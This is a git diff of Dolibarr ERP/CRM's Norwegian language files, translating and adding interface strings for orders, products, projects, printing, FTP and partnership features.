UnvalidateOrder=Fjern validering på ordre DeleteOrder=Slett ordre @@ -95,6 +96,10 @@ OrdersStatisticsSuppliers=Innkjøpsordrestatistikk NumberOfOrdersByMonth=Antall ordre pr måned AmountOfOrdersByMonthHT=Beløp på ordrer etter måned (ekskl. MVA) ListOfOrders=Ordreliste +ListOrderLigne=Ordrelinjer +productobuy=Varer kun for kjøp +productonly=Kun varer +disablelinefree=Ingen linjer ledig CloseOrder=Lukk ordre ConfirmCloseOrder=Er du sikker på at du vil sette denne ordren som levert? Når en ordre er levert, kan den settes til "betalt" ConfirmDeleteOrder=Er du sikker på at du vil slette denne ordren? @@ -104,8 +109,8 @@ ConfirmCancelOrder=Er du sikker på at du vil kansellere denne ordren? ConfirmMakeOrder=Er du sikker på at du vil bekrefte at du opprettet denne ordren %s? GenerateBill=Opprett faktura ClassifyShipped=Klassifiser levert -PassedInShippedStatus=classified delivered -YouCantShipThis=I can't classify this. Please check user permissions +PassedInShippedStatus=klassifisert levert +YouCantShipThis=Jeg kan ikke klassifisere dette. Vennligst sjekk brukertillatelser DraftOrders=Ordrekladder DraftSuppliersOrders=Innkjøpsordre-kladder OnProcessOrders=Ordre i behandling @@ -130,6 +135,7 @@ SupplierOrderClassifiedBilled=Innkjøpsordre %s satt til fakturert OtherOrders=Andre ordre SupplierOrderValidatedAndApproved=Leverandørbestilling er validert og godkjent: %s SupplierOrderValidated=Leverandørbestilling er validert: %s +OrderShowDetail=Vis ordredetaljer ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Representant for oppfølging av salgsordre TypeContact_commande_internal_SHIPPING=Representant for oppfølging av levering @@ -157,7 +163,7 @@ PDFEdisonDescription=En enkel ordremodell PDFProformaDescription=En komplett Proforma-fakturamal CreateInvoiceForThisCustomer=Fakturer ordrer CreateInvoiceForThisSupplier=Fakturer ordrer -CreateInvoiceForThisReceptions=Bill receptions +CreateInvoiceForThisReceptions=Fakturer mottak NoOrdersToInvoice=Ingen fakturerbare ordrer CloseProcessedOrdersAutomatically=Klassifiser alle valgte bestillinger "Behandlet". OrderCreation=Opprett ordre @@ -198,3 +204,5 @@ StatusSupplierOrderApproved=Godkjent StatusSupplierOrderRefused=Avvist StatusSupplierOrderReceivedPartially=Delvis mottatt StatusSupplierOrderReceivedAll=Alle varer mottatt +NeedAtLeastOneInvoice = Det må være minst én faktura +LineAlreadyDispatched = Ordrelinjen er allerede mottatt. diff --git a/htdocs/langs/nb_NO/other.lang b/htdocs/langs/nb_NO/other.lang index c797e66b27f..0c3e6805c81 100644 --- a/htdocs/langs/nb_NO/other.lang +++ b/htdocs/langs/nb_NO/other.lang @@ -35,9 +35,9 @@ OnlyOneFieldForXAxisIsPossible=Bare ett felt er for øyeblikket mulig som X-Akse AtLeastOneMeasureIsRequired=Det kreves minst ett felt for mål AtLeastOneXAxisIsRequired=Minst ett felt for X-akse er påkrevd LatestBlogPosts=Siste blogginnlegg -notiftouser=To users -notiftofixedemail=To fixed mail -notiftouserandtofixedemail=To user and fixed mail +notiftouser=Til brukere +notiftofixedemail=Til fast post +notiftouserandtofixedemail=Til bruker og fast post Notify_ORDER_VALIDATE=Salgsordre validert Notify_ORDER_SENTBYMAIL=Salgsordre sendt via epost Notify_ORDER_SUPPLIER_SENTBYMAIL=Innkjøpsordre sendt via e-post @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Innkjøpsordre godkjent Notify_ORDER_SUPPLIER_REFUSE=Innkjøpsordre avvist Notify_PROPAL_VALIDATE=Kundetilbud validert Notify_PROPAL_CLOSE_SIGNED=Kundetilbud lukket signert +Notify_PROPAL_CLOSE_SIGNED_WEB=Kundetilbud lukket signert på portalside Notify_PROPAL_CLOSE_REFUSED=Kundetilbud lukket avvist +Notify_PROPAL_CLOSE_REFUSED_WEB=Kundetilbud stengt avvist på portalsiden Notify_PROPAL_SENTBYMAIL=Tilbud sendt med post Notify_WITHDRAW_TRANSMIT=Overføring avbrudt Notify_WITHDRAW_CREDIT=Kreditt tilbaketrekning @@ -110,7 +112,7 @@ ChooseYourDemoProfilMore=... eller bygg din egen profil
      (manuell utvelgelse a DemoFundation=Håndtere medlemmer i en organisasjon DemoFundation2=Håndtere medlemmer og bankkonti i en organisasjon DemoCompanyServiceOnly=Firma som kun selger tjenester -DemoCompanyShopWithCashDesk=Manage a shop with a cash box +DemoCompanyShopWithCashDesk=Administrer en butikk med en pengekasse DemoCompanyProductAndStocks=Handle varer med Point Of Sales DemoCompanyManufacturing=Selskapets varer DemoCompanyAll=Firma med mange aktiviteter (alle hovedmoduler) @@ -181,13 +183,14 @@ SizeUnitfoot=fot SizeUnitpoint=punkt BugTracker=Feilsporing (bugtracker) SendNewPasswordDesc=Dette skjemaet lar deg be om et nytt passord. Det vil bli sendt til din e-postadresse.
      Endring skjer når du klikker på bekreftelseslinken i e-posten.
      Sjekk innboksen din. +EnterNewPasswordHere=Skriv inn ditt nye passord her BackToLoginPage=Tilbake til innloggingssiden AuthenticationDoesNotAllowSendNewPassword=Autensitering er satt til %s.
      Det betyr at Dolibarr ikke kan vite eller endre passordet ditt.
      Kontakt systemadministrator hvis du vil endre passordet ditt. EnableGDLibraryDesc=Installer eller aktiver GD-bibliotek i din PHP-installasjon for å bruke denne opsjonen. ProfIdShortDesc=Prof-ID %s er avhengig av tredjepartens land.
      For eksempel er det for %s, koden %s. DolibarrDemo=Dolibarr ERP/CRM demo StatsByNumberOfUnits=Statistikk over summen av produkter/tjenester -StatsByNumberOfEntities=Statistics for number of referring entities (no. of invoices, or orders...) +StatsByNumberOfEntities=Statistikk for antall henvisende enheter (antall fakturaer, eller bestillinger...) NumberOfProposals=Antall tilbud NumberOfCustomerOrders=Antall salgsordre NumberOfCustomerInvoices=Antall kundefakturaer @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Faktura %s er validert. EMailTextInvoicePayed=Faktura %s er betalt. EMailTextProposalValidated=Tilbud %s er validert. EMailTextProposalClosedSigned=Tilbud %s er lukket, signert. +EMailTextProposalClosedSignedWeb=Tilbud %s er stengt signert på portalside. +EMailTextProposalClosedRefused=Tilbud %s er lukket avvist. +EMailTextProposalClosedRefusedWeb=Tilbud %s har blitt stengt avvist på portalside. EMailTextOrderValidated=Ordre %s er validert. EMailTextOrderApproved=Ordre %s er godkjent. EMailTextOrderValidatedBy=Ordre %s har blitt registrert av %s. @@ -258,10 +264,10 @@ PassEncoding=Passordkoding PermissionsAdd=Tillatelser lagt til PermissionsDelete=Tillatelser fjernet YourPasswordMustHaveAtLeastXChars=Passordet ditt må ha minst %s tegn -PasswordNeedAtLeastXUpperCaseChars=The password need at least %s upper case chars -PasswordNeedAtLeastXDigitChars=The password need at least %s numeric chars -PasswordNeedAtLeastXSpecialChars=The password need at least %s special chars -PasswordNeedNoXConsecutiveChars=The password must not have %s consecutive similar chars +PasswordNeedAtLeastXUpperCaseChars=Passordet trenger minst %s store bokstaver +PasswordNeedAtLeastXDigitChars=Passordet trenger minst %s numeriske tegn +PasswordNeedAtLeastXSpecialChars=Passordet trenger minst %s spesialtegn +PasswordNeedNoXConsecutiveChars=Passordet må ikke ha %s påfølgende tegn YourPasswordHasBeenReset=Ditt passord er tilbakestilt ApplicantIpAddress=IP-adresse til søkeren SMSSentTo=SMS sendt til %s @@ -272,7 +278,7 @@ ProjectCreatedByEmailCollector=Prosjekt opprettet av e-post samler fra e-post MS TicketCreatedByEmailCollector=Supportseddel opprettet av e-post samler fra e-post MSGID %s OpeningHoursFormatDesc=Bruk en bindestrek for å skille åpning og stengetid.
      Bruk et mellomrom for å angi forskjellige områder.
      Eksempel: 8-12 14-18 SuffixSessionName=Suffiks for øktnavn -LoginWith=Login with %s +LoginWith=Logg på med %s ##### Export ##### ExportsArea=Eksportområde @@ -298,12 +304,12 @@ PopuProp=Varer/tjenester etter popularitet i tilbud PopuCom=Varer/tjenester etter popularitet i ordre ProductStatistics=Varer/Tjenestestatistikk NbOfQtyInOrders=Antall i ordre -SelectTheTypeOfObjectToAnalyze=Select an object to view its statistics... +SelectTheTypeOfObjectToAnalyze=Velg et objekt for å se dets statistikk... -ConfirmBtnCommonContent = Are you sure you want to "%s" ? -ConfirmBtnCommonTitle = Confirm your action +ConfirmBtnCommonContent = Er du sikker på at du vil "%s"? +ConfirmBtnCommonTitle = Bekreft handlingen din CloseDialog = Lukk -Autofill = Autofill +Autofill = Autofyll # externalsite ExternalSiteSetup=Oppsett av lenke til ekstern nettside @@ -311,10 +317,10 @@ ExternalSiteURL=URL for eksternt nettsted for HTML iframe-innhold ExternalSiteModuleNotComplete=Modulen Ekstern Side ble ikke riktig konfigurert. ExampleMyMenuEntry=Meny overskrift -# FTP +# ftp FTPClientSetup=Modul for oppsett av FTP- eller SFTP-klient -NewFTPClient=Nytt FTP / FTPS-tilkoblingsoppsett -FTPArea=FTP/FTPS-område +NewFTPClient=Nytt oppsett av FTP/SFTP-tilkobling +FTPArea=FTP/SFTP-område FTPAreaDesc=Dette skjermbildet viser en FTP et SFTP-server. SetupOfFTPClientModuleNotComplete=Installasjonen av FTP- eller SFTP-klientmodulen ser ut til å være ufullstendig FTPFeatureNotSupportedByYourPHP=Din PHP støtter ikke FTP- eller SFTP-funksjoner @@ -325,3 +331,9 @@ FTPFailedToRemoveDir=Kunne ikke fjerne katalogen %s : Kontroller tillate FTPPassiveMode=Passiv modus ChooseAFTPEntryIntoMenu=Velg et FTP/SFTP-nettsted fra menyen ... FailedToGetFile=Kunne ikke hente filene %s +ErrorFTPNodisconnect=Feil ved frakobling av FTP/SFTP-server +FileWasUpload=Fil %s ble lastet opp +FTPFailedToUploadFile=Kunne ikke laste opp filen %s . +AddFolder=Lag mappe +FileWasCreateFolder=Mappe %s er opprettet +FTPFailedToCreateFolder=Kunne ikke opprette mappen %s . diff --git a/htdocs/langs/nb_NO/partnership.lang b/htdocs/langs/nb_NO/partnership.lang index d7eae1e5d25..c0bb483262f 100644 --- a/htdocs/langs/nb_NO/partnership.lang +++ b/htdocs/langs/nb_NO/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=Håndtering av partnerskap PartnershipDescription=Modul for Partnerskapshåndtering PartnershipDescriptionLong= Modul for Partnerskapshåndtering Partnership=Partnerskap +Partnerships=Partnerskap AddPartnership=Legg til partnerskap CancelPartnershipForExpiredMembers=Partnerskap: Avbryt partnerskap for medlemmer med utløpt abonnement PartnershipCheckBacklink=Partnerskap: Sjekk refererende tilbakekobling @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Partnerskap: Sjekk refererende tilbakekobling # Menu # NewPartnership=Nytt partnerskap +NewPartnershipbyWeb=Din partnerskapsforespørsel er lagt til. Vi kan kontakte deg snart... ListOfPartnerships=Liste over partnerskap # diff --git a/htdocs/langs/nb_NO/paypal.lang b/htdocs/langs/nb_NO/paypal.lang index 1949a6a8eac..ad56fcb39a5 100644 --- a/htdocs/langs/nb_NO/paypal.lang +++ b/htdocs/langs/nb_NO/paypal.lang @@ -34,3 +34,4 @@ ARollbackWasPerformedOnPostActions=En tilbakerulling ble utført på alle postha ValidationOfPaymentFailed=Validering av betaling har feilet CardOwner=Kortholder PayPalBalance=Paypal kreditt +OnlineSubscriptionPaymentLine=Nettabonnement registrert på %s
      Betalt via %s
      Opprinnelig IP-adresse: %s
      Transaksjons-ID:1%s diff --git a/htdocs/langs/nb_NO/printing.lang b/htdocs/langs/nb_NO/printing.lang index 7796c6b913c..f71588a520d 100644 --- a/htdocs/langs/nb_NO/printing.lang +++ b/htdocs/langs/nb_NO/printing.lang @@ -1,8 +1,8 @@ # Dolibarr language file - Source file is en_US - printing Module64000Name=Ettklikksutskrift -Module64000Desc=Enable One click Printing System -PrintingSetup=Setup of One click Printing System -PrintingDesc=This module adds a Print button to various modules to allow documents to be printed directly to a printer with no need to open the document into another application. +Module64000Desc=Aktiver ett klikks utskriftssystem +PrintingSetup=Oppsett av Ett Klikks utskriftssystem +PrintingDesc=Denne modulen legger til en Skriv ut-knapp til ulike moduler for å tillate at dokumenter skrives ut direkte til en skriver uten behov for å åpne dokumentet i et annet program. MenuDirectPrinting=Ettklikks utskriftsjobber DirectPrint=Ettklikks utskrift PrintingDriverDesc=Oppsett av skrivervariabler diff --git a/htdocs/langs/nb_NO/productbatch.lang b/htdocs/langs/nb_NO/productbatch.lang index 5d42c684af5..9988c95c050 100644 --- a/htdocs/langs/nb_NO/productbatch.lang +++ b/htdocs/langs/nb_NO/productbatch.lang @@ -17,6 +17,7 @@ printBatch=Lot/Serienummer: %s printEatby=Siste forbruksdato: %s printSellby=Siste salgsdato: %s printQty=Ant: %d +printPlannedWarehouse=Lager: %s AddDispatchBatchLine=Legg til en linje for holdbarhetsdato WhenProductBatchModuleOnOptionAreForced=Når modulen Lot/Serie er aktivert, er automatisk lagernedgang tvunget til å 'Redusere reelt lager ved fraktgodkjennelse' og automatisk økningsmodus er tvunget til å "Øke virkelige lagre ved manuell forsendelse til lager" og kan ikke redigeres. Andre alternativer kan defineres etter ønske. ProductDoesNotUseBatchSerial=Denne varen har ikke lot/serienummer @@ -24,13 +25,13 @@ ProductLotSetup=Oppsett av model Lot/serienmmer ShowCurrentStockOfLot=Vis gjeldende beholdning for vare/lot ShowLogOfMovementIfLot=Vis logg over bevegelser for vare/lot StockDetailPerBatch=Varedetaljer pr. lot -SerialNumberAlreadyInUse=Serial number %s is already used for product %s -TooManyQtyForSerialNumber=You can only have one product %s for serial number %s +SerialNumberAlreadyInUse=Serienummer %s er allerede brukt for vare%s +TooManyQtyForSerialNumber=Du kan bare ha en vare %s for serienummer %s ManageLotMask=Tilpasset maske CustomMasks=Mulighet for å definere en annen nummereringsmaske for hvert produkt -BatchLotNumberingModules=Numbering rule for automatic generation of lot number -BatchSerialNumberingModules=Numbering rule for automatic generation of serial number (for products with property 1 unique lot/serial for each product) -QtyToAddAfterBarcodeScan=Qty to %s for each barcode/lot/serial scanned +BatchLotNumberingModules=Nummereringsregel for automatisk generering av lotnummer +BatchSerialNumberingModules=Nummereringsregel for automatisk generering av serienummer (for varer med egenskap 1 unikt parti/serie for hvert produkt) +QtyToAddAfterBarcodeScan=Antall til %s for hver strekkode/parti/serie skannet LifeTime=Levetid (i dager) EndOfLife=End of life ManufacturingDate=Produksjonsdato @@ -42,5 +43,5 @@ HideLots=Skjul partier #Traceability - qc status OutOfOrder=I ustand InWorkingOrder=I fungerende stand -ToReplace=Replace -CantMoveNonExistantSerial=Error. You ask a move on a record for a serial that does not exists anymore. May be you take the same serial on same warehouse several times in same shipment or it was used by another shipment. Remove this shipment and prepare another one. +ToReplace=Erstatt +CantMoveNonExistantSerial=Feil. Du ber om et trekk på en post for en serie som ikke eksisterer lenger. Det kan være at du tar samme serie på samme lager flere ganger i samme forsendelse, eller den ble brukt av en annen forsendelse. Fjern denne forsendelsen og klargjør en ny. diff --git a/htdocs/langs/nb_NO/products.lang b/htdocs/langs/nb_NO/products.lang index aaa9dd1246c..8f600cd6051 100644 --- a/htdocs/langs/nb_NO/products.lang +++ b/htdocs/langs/nb_NO/products.lang @@ -43,7 +43,7 @@ ServicesOnSaleOnly=Tjenester kun til salgs ServicesOnPurchaseOnly=Tjenester kun for kjøp ServicesNotOnSell=Tjenester ikke til salgs og ikke for kjøp ServicesOnSellAndOnBuy=Tjenester for kjøp og salg -LastModifiedProductsAndServices=Latest %s products/services which were modified +LastModifiedProductsAndServices=Siste %s varer/tjenester som ble endret LastRecordedProducts=Siste %s registrerte varer LastRecordedServices=Siste %s registrerte tjenester CardProduct0=Vare @@ -262,7 +262,7 @@ Quarter1=1. kvartal Quarter2=2. kvartal Quarter3=3. kvartal Quarter4=4. kvartal -BarCodePrintsheet=Skriv strekkode +BarCodePrintsheet=Skriv ut strekkoder PageToGenerateBarCodeSheets=Med dette verktøyet kan du skrive ut ark med strekkode-klistremerker. Velg format på din klistremerkeside, type strekkode og verdi på strekkode, og klikk deretter på knappen %s . NumberOfStickers=Antall klistremerker som skal skrives ut på siden PrintsheetForOneBarCode=Skriv ut flere klistremerker for hver strekkode @@ -279,7 +279,7 @@ PriceByCustomer=Ulike priser for hver kunde PriceCatalogue=En enkelt salgspris for hver vare/tjeneste PricingRule=Regler for utsalgspriser AddCustomerPrice=Legg til pris for kunde -ForceUpdateChildPriceSoc=Set same price on customer's subsidiaries +ForceUpdateChildPriceSoc=Sett samme pris på kundens datterselskaper PriceByCustomerLog=Logg over tidligere kundepriser MinimumPriceLimit=Minstepris kan ikke være lavere enn %s MinimumRecommendedPrice=Minimum anbefalt pris er: %s @@ -298,7 +298,7 @@ ComposedProductIncDecStock=Øk/minsk beholdning ved overordnet endring ComposedProduct=Sub-varer MinSupplierPrice=Laveste innkjøpspris MinCustomerPrice=Minste salgspris -NoDynamicPrice=No dynamic price +NoDynamicPrice=Ingen dynamisk pris DynamicPriceConfiguration=Dynamisk pris-konfigurering DynamicPriceDesc=Du kan definere matematiske formler for å beregne kunde- eller leverandørpriser. Slike formler kan bruke alle matematiske operatører, noen konstanter og variabler. Du kan definere variablene du vil bruke. Hvis variabelen trenger en automatisk oppdatering, kan du definere den eksterne nettadressen for å tillate Dolibarr å oppdatere verdien automatisk. AddVariable=Legg til variabel @@ -317,7 +317,7 @@ LastUpdated=Siste oppdatering CorrectlyUpdated=Korrekt oppdatert PropalMergePdfProductActualFile=Filer brukt for å legge til i PDF Azur er PropalMergePdfProductChooseFile=Velg PDF-filer -IncludingProductWithTag=Including products/services with the tag +IncludingProductWithTag=Inkludert varer/tjenester med taggen DefaultPriceRealPriceMayDependOnCustomer=Standardpris, virkelig pris avhenger av kunde WarningSelectOneDocument=Velg minst ett dokument DefaultUnitToShow=Enhet @@ -343,11 +343,11 @@ ProductSheet=Produktark ServiceSheet=Serviceark PossibleValues=Mulige verdier GoOnMenuToCreateVairants=Gå tilmenyen %s - %s for å forberede attributtvarianter (som farger, størrelse, ...) -UseProductFournDesc=Add a feature to define the product description defined by the vendors (for each vendor reference) in addition to the description for customers +UseProductFournDesc=Legg til en funksjon for å definere produktbeskrivelsen definert av leverandørene (for hver leverandørreferanse) i tillegg til beskrivelsen for kunder ProductSupplierDescription=Leverandørs beskrivelse av produktet -UseProductSupplierPackaging=Bruk emballasje på leverandørpriser (beregne mengder på nytt i henhold til emballasje som er angitt på leverandørpris når du legger til/oppdaterer linje i leverandørdokumenter) +UseProductSupplierPackaging=Bruk emballasje for priser avrundet til multipler for innkjøpspriser (beregn mengder i henhold til multipler satt på innkjøpspriser når du legger til/oppdaterer linje i leverandørdokumenter) PackagingForThisProduct=Emballasje -PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. +PackagingForThisProductDesc=Du vil automatisk kjøpe en multippel av dette antallet. QtyRecalculatedWithPackaging=Mengden på linjen ble beregnet på nytt i henhold til leverandøremballasje #Attributes @@ -399,31 +399,33 @@ ActionAvailableOnVariantProductOnly=Handling kun tilgjengelig på varianter av v ProductsPricePerCustomer=Varepriser per kunde ProductSupplierExtraFields=Ekstra attributter (leverandørpriser) DeleteLinkedProduct=Slett sub-produktet som er knyttet til kombinasjonen -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Enhetsbeløp som skal brukes til å oppdatere den vektede gjennomsnittsprisen PMPValue=Vektet gjennomsnittspris PMPValueShort=WAP mandatoryperiod=Obligatoriske perioder -mandatoryPeriodNeedTobeSet=Note: Period (start and end date) must be defined -mandatoryPeriodNeedTobeSetMsgValidate=A service requires a start and end period -mandatoryHelper=Check this if you want a message to the user when creating / validating an invoice, commercial proposal, sales order without entering a start and end date on lines with this service.
      Note that the message is a warning and not a blocking error. -DefaultBOM=Default BOM -DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. +mandatoryPeriodNeedTobeSet=Merk: Periode (start- og sluttdato) må defineres +mandatoryPeriodNeedTobeSetMsgValidate=En tjeneste krever en start- og sluttperiode +mandatoryHelper=Kryss av for dette hvis du ønsker en melding til brukeren ved opprettelse/validering av faktura, kommersielt forslag, salgsordre uten å angi start- og sluttdato på linjer med denne tjenesten.
      Merk at meldingen er en advarsel og ikke en blokkeringsfeil. +DefaultBOM=Standard stykkliste (BOM) +DefaultBOMDesc=Standard stykkliste som anbefales å bruke for å produsere dette produktet. Dette feltet kan bare angis hvis produktets natur er '%s'. Rank=Rangering -MergeOriginProduct=Duplicate product (product you want to delete) -MergeProducts=Merge products -ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. -ProductsMergeSuccess=Products have been merged -ErrorsProductsMerge=Errors in products merge -SwitchOnSaleStatus=Switch on sale status -SwitchOnPurchaseStatus=Switch on purchase status -StockMouvementExtraFields= Extra Fields (stock mouvement) -InventoryExtraFields= Extra Fields (inventory) -ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes -PuttingPricesUpToDate=Update prices with current known prices -PMPExpected=Expected PMP -ExpectedValuation=Expected Valuation -PMPReal=Real PMP -RealValuation=Real Valuation -ConfirmEditExtrafield = Select the extrafield you want modify -ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? -ModifyValueExtrafields = Modify value of an extrafield +MergeOriginProduct=Duplikatvare (vare du vil slette) +MergeProducts=Slå sammen varer +ConfirmMergeProducts=Er du sikker på at du vil slå sammen den valgte varen med det nåværende? Alle tilknyttede objekter (fakturaer, bestillinger, ...) flyttes til den aktuelle varen, hvoretter den valgte varen slettes. +ProductsMergeSuccess=Varene er slått sammen +ErrorsProductsMerge=Feil i varesammenslåing +SwitchOnSaleStatus=Slå på salgsstatus +SwitchOnPurchaseStatus=Slå på kjøpsstatus +UpdatePrice=Øk/reduser kundepris +StockMouvementExtraFields= Ekstra felt (lagerbevegelse) +InventoryExtraFields= Ekstra felt (beholdning) +ScanOrTypeOrCopyPasteYourBarCodes=Skann eller skriv eller kopier/lim inn strekkodene dine +PuttingPricesUpToDate=Oppdater priser med gjeldende kjente priser +PMPExpected=Forventet PMP +ExpectedValuation=Forventet verdivurdering +PMPReal=Ekte PMP +RealValuation=Virkelig verdivurdering +ConfirmEditExtrafield = Velg ekstrafeltet du vil endre +ConfirmEditExtrafieldQuestion = Er du sikker på at du vil endre dette ekstrafeltet? +ModifyValueExtrafields = Endre verdien for et ekstrafelt +OrProductsWithCategories=Eller varer med tagger/kategorier diff --git a/htdocs/langs/nb_NO/projects.lang b/htdocs/langs/nb_NO/projects.lang index 5e694e906dd..b5c099b9ed4 100644 --- a/htdocs/langs/nb_NO/projects.lang +++ b/htdocs/langs/nb_NO/projects.lang @@ -6,23 +6,24 @@ ProjectLabel=Prosjektetikett ProjectsArea=Prosjektområde ProjectStatus=Prosjektstatus SharedProject=Alle -PrivateProject=Assigned contacts +PrivateProject=Tildelte kontakter ProjectsImContactFor=Prosjekter som jeg eksplisitt er en kontakt for AllAllowedProjects=Alt prosjekter jeg kan lese (min + offentlig) AllProjects=Alle prosjekter -MyProjectsDesc=This view is limited to the projects that you are a contact for +MyProjectsDesc=Denne visningen er begrenset til prosjektene du er kontakt for ProjectsPublicDesc=Denne visningen presenterer alle prosjektene du har lov til å lese. TasksOnProjectsPublicDesc=Her vises alle prosjektoppgaver du har lov til å se ProjectsPublicTaskDesc=Denne visningen presenterer alle prosjekter og oppgaver du har lov til å lese. ProjectsDesc=Denne visningen presenterer alle prosjekter (dine brukertillatelser gir deg tillatelse til å vise alt). TasksOnProjectsDesc=Her vises alle prosjektoppgaver (dine brukerrettigheter gir deg adgang til å vise alt). -MyTasksDesc=This view is limited to the projects or tasks that you are a contact for +MyTasksDesc=Denne visningen er begrenset til prosjektene eller oppgavene du er kontakt for OnlyOpenedProject=Kun åpne prosjekter er synlige (prosjektkladder og lukkede prosjekter er ikke synlige). ClosedProjectsAreHidden=Lukkede prosjekter er ikke synlige TasksPublicDesc=Denne visningen presenterer alle prosjekter og oppgaver du har lov til å lese. TasksDesc=Denne visningen presenterer alle prosjekter og oppgaver (dine brukertillatelser gir deg tillatelse til å vise alt). AllTaskVisibleButEditIfYouAreAssigned=Alle oppgaver for kvalifiserte prosjekter er synlige, men du kan bare angi tid for oppgave som er tildelt til valgt bruker. Tilordne oppgave hvis du trenger å skrive inn tid på den. -OnlyYourTaskAreVisible=Only tasks assigned to you are visible. If you need to enter time on a task and if the task is not visible here, then you need to assign the task to yourself. +OnlyYourTaskAreVisible=Bare oppgaver som er tildelt deg er synlige. Hvis du trenger å legge inn tid på en oppgave og oppgaven ikke er synlig her, må du tilordne oppgaven til deg selv. +ImportDatasetProjects=Prosjekter eller muligheter ImportDatasetTasks=Oppgaver fra prosjekter ProjectCategories=Prosjekt etiketter/kategorier NewProject=Nytt prosjekt @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Leads-beløp i åpne prosjekter, etter sta OpportunitiesStatusForProjects=Leads-beløp i prosjekter, etter status ShowProject=Vis prosjekt ShowTask=Vis oppgave +SetThirdParty=Angi tredjepart SetProject=Sett prosjekt +OutOfProject=Ute av prosjekt NoProject=Ingen prosjekter definert NbOfProjects=Antall prosjekter NbOfTasks=Antall oppgaver @@ -122,7 +125,8 @@ ValidateProject=Valider prosjekt ConfirmValidateProject=Er du sikker på at du vil validere dette prosjektet? CloseAProject=Lukk prosjektet ConfirmCloseAProject=Er du sikker på at du vil lukke dette prosjektet? -AlsoCloseAProject=Lukk prosjekt også (hold det åpent hvis du fortsatt trenger å følge produksjonsoppgaver på det) +AlsoCloseAProject=Lukk prosjekt også +AlsoCloseAProjectTooltip=Hold den åpen hvis du fortsatt trenger å følge produksjonsoppgaver på den ReOpenAProject=Åpne prosjekt ConfirmReOpenAProject=Er du sikker på at du vil gjenåpne dette prosjektet? ProjectContact=Kontaktpersoner for prosjektet @@ -140,7 +144,7 @@ NoTasks=Ingen oppgaver for dette prosjektet LinkedToAnotherCompany=Knyttet opp til annen tredjepart TaskIsNotAssignedToUser=Oppgave ikke tildelt bruker. Bruk knappen ' %s' for å tilordne oppgaven nå. ErrorTimeSpentIsEmpty=Tidsbruk er tom -TimeRecordingRestrictedToNMonthsBack=Time recording is restricted to %s months back +TimeRecordingRestrictedToNMonthsBack=Tidsregistrering er begrenset til %s måneder tilbake ThisWillAlsoRemoveTasks=Denne handlingen vil også slette alle oppgaver i prosjektet (%s oppgaver for øyeblikket), og all tidsregistrering slettes IfNeedToUseOtherObjectKeepEmpty=Dersom noen objekter (faktura, ordre, ...), tilhørende en annen tredjepart, må tilknyttes prosjektet, behold denne tom. Prosjektet kan da knyttes til flere tredjeparter. CloneTasks=Klon oppgaver @@ -165,7 +169,7 @@ OpportunityProbability=Lead sannsynlighet OpportunityProbabilityShort=Lead sansyn. OpportunityAmount=Lead beløp OpportunityAmountShort=Lead beløp -OpportunityWeightedAmount=Muligheter, vektet beløp +OpportunityWeightedAmount=Beløp på mulighet, vektet etter sannsynlighet OpportunityWeightedAmountShort=Muligh. vektet beløp OpportunityAmountAverageShort=Gjennomsnittlig lead beløp OpportunityAmountWeigthedShort=Vektet lead beløp @@ -190,7 +194,7 @@ PlannedWorkload=Planlagt arbeidsmengde PlannedWorkloadShort=Arbeidsmengde ProjectReferers=Relaterte elementer ProjectMustBeValidatedFirst=Prosjektet må valideres først -MustBeValidatedToBeSigned=%s must be validated first to be set to Signed. +MustBeValidatedToBeSigned=%s må valideres først for å settes til Signert. FirstAddRessourceToAllocateTime=Tildel en brukerressurs som kontakt for prosjektet for å fordele tid InputPerDay=Tidsbruk pr. dag InputPerWeek=Tidsbruk pr. uke @@ -198,7 +202,7 @@ InputPerMonth=Forbruk pr. måned InputDetail=Inngangsdetalj TimeAlreadyRecorded=Dette tidsrommet er allerede registrert for denne oppgaven/dag og bruker %s ProjectsWithThisUserAsContact=Prosjekter med denne brukeren som kontakt -ProjectsWithThisContact=Projects with this contact +ProjectsWithThisContact=Prosjekter med denne kontakten TasksWithThisUserAsContact=Oppgaver tildelt denne brukeren ResourceNotAssignedToProject=Ikke tildelt til prosjekt ResourceNotAssignedToTheTask=Ikke tildelt oppgaven @@ -238,7 +242,7 @@ OppStatusPENDING=Venter OppStatusWON=Vunnet OppStatusLOST=Tapt Budget=Budsjett -AllowToLinkFromOtherCompany=Tillat å koble prosjekt fra annet firma

      Støttede verdier:
      - Hold tom: Kan lenke eventuelle prosjekt fra selskapet (standard)
      - "alle": Kan lenke eventuelle prosjekter, selv prosjekt fra andre selskaper
      - En liste over tredjeparts ID, separert med kommaer: Kan lenke alle definerte prosjekter fra disse tredjepartene (Eksempel: 123,4795,53)
      +AllowToLinkFromOtherCompany=Tillat å koble et element til et prosjekt av et annet selskap

      Støttede verdier:
      - Hold tomt: Kan koble elementer med alle prosjekter i samme selskap (standard)
      - "alle": Kan koble elementer med alle prosjekter, til og med prosjekter fra andre selskaper
